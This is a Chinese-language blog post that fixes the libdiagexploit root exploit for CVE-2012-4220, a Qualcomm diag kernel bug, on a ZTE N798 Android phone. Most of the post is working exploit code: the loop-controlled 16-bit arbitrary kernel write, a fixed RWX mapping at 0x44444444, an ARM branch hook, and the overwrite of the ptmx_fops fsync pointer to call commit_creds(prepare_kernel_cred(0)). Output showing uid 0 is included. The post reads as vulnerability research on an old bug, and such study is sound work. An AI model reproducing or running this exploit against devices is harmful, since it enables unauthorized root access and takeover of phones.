CVE-2012-4220 原理分析中简单的描述了一下libdiagexploit存在的问题,经过实际的测试,android-rooting-tools使用libdiagexploit是没法将值修改正确的。下面给出一种修正的方案,经过测试可以在ZTE N798 (CT_CN_N798+V1.0.0B09)上获取到了Root权限。
注意事项
利用之前需要清楚这个漏洞的功能和限制。
- 使用该漏洞可以向任意地址写入一个16位的值,范围是2~0xFFFF。
- 修改为特定值需要循环调用该漏洞直到delayed_rsp_id的值是目标值。
所以,就是要控制好写入值,以及循环的次数。
由于对Linux不熟悉,获取Root权限方法沿用了libexploit中的方法。看起来,其获取Root权限的核心代码是在内核执行commit_creds_address(prepare_kernel_cred_address(0))。为了实现这一目标,libexploit企图利用各种漏洞修改ptmx_fops的结构体中+0x38处的一个函数地址,然后打开设备/dev/ptmx并调用fsync以获得在内核执行代码的权限。为了写入32位的地址,需要分别将目标地址的高位和地位写入。而且,高位和低位中不能出现0或者1。
利用代码
根据上述几点分析,更新的代码如下:
循环次数控制
为了准确的计算循环次数,每次都将计数重置为2,而且,为了防止将值修改到一半的时候由于其他程序调用,递增的时候使用了局部变量,最后再传入真正要写入的地址:
bool inject_value(void* address, uint16_t value) const { if (!is_valid()) return false; if (value == 0 || value == 1) { return false; } // reset delayed_rsp_id to 2. auto ret = reset_delayed_rsp_id(); if (ret < 0) { return false; } size_t loop_count = (value - 2) & 0xffff; int unused; for (size_t i = 0; i < loop_count; i++) { if (send_delay_params(&unused, &unused) < 0) { return false; } } send_delay_params(address, &unused); return true; }
地址分配
一般来说用户态的elf都会加载到比较低的地址,高16bit是0。libexploit直接写入低16位会导致poc的稳定性很差,或者说肯定无法使用,从某个Bootloader来看内核会被加载到0xC0000000以上的地址。为了解决这个问题,目前的解决办法是预分配一块固定地址的内存,然后在里面写入跳转代码,让其跳回当前的模块中。
分配地址:
void* jump_address = reinterpret_cast<void*>(0x44444444); auto alloc_buffer = mmap(jump_address, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANON, -1, 0);
然后从这里抄一个hook:
void hijack_start(void *target, void *destination) { unsigned char branch_code[0xC]; if ((unsigned long)target % 4 == 0) { // ldr pc, [pc, #0]; .long addr; .long addr memcpy(branch_code, "x00xf0x9fxe5x00x00x00x00x00x00x00x00", 0xC); *(unsigned long *)&branch_code[4] = (unsigned long)destination; *(unsigned long *)&branch_code[8] = (unsigned long)destination; } else { // add r0, pc, #4; ldr r0, [r0, #0]; mov pc, r0; mov pc, r0; .long addr memcpy(branch_code, "x01xa0x00x68x87x46x87x46x00x00x00x00", 0xC); *(unsigned long *)&branch_code[8] = (unsigned long)destination; target--; } memcpy(target, branch_code, 0xC); }
完成上述准备工作,就可以开始root了:
hijack_start(jump_address, (void*)obtain_root_privilege); exploit.inject_value(ptmx_fops_fsync_address, 0x4444); exploit.inject_value(reinterpret_cast<char>(ptmx_fops_fsync_address) + 2, 0x4444); std::cout << "before exploit: " << getuid() << std::endl; run_obtain_root_privilege(); std::cout << "After exploit: " << getuid() << std::endl;
执行的结果:
delayed_rsp_id_address 0xc08c05e8 ptmx_fops 0xc09c4138 Allocated buffer: 0x44444000 Before exploit: 7d0 After exploit: 0
这样,这个漏洞的利用就相对稳定了许多。当然,是在有符号、能获取到那些函数、结构体地址的情况下。
最后
不太理解的是,Android的内核居然可以直接执行用户空间的代码…
无限 YM 小伟
内核执行用户空间代码Linux 的特性,不过现在都PXN了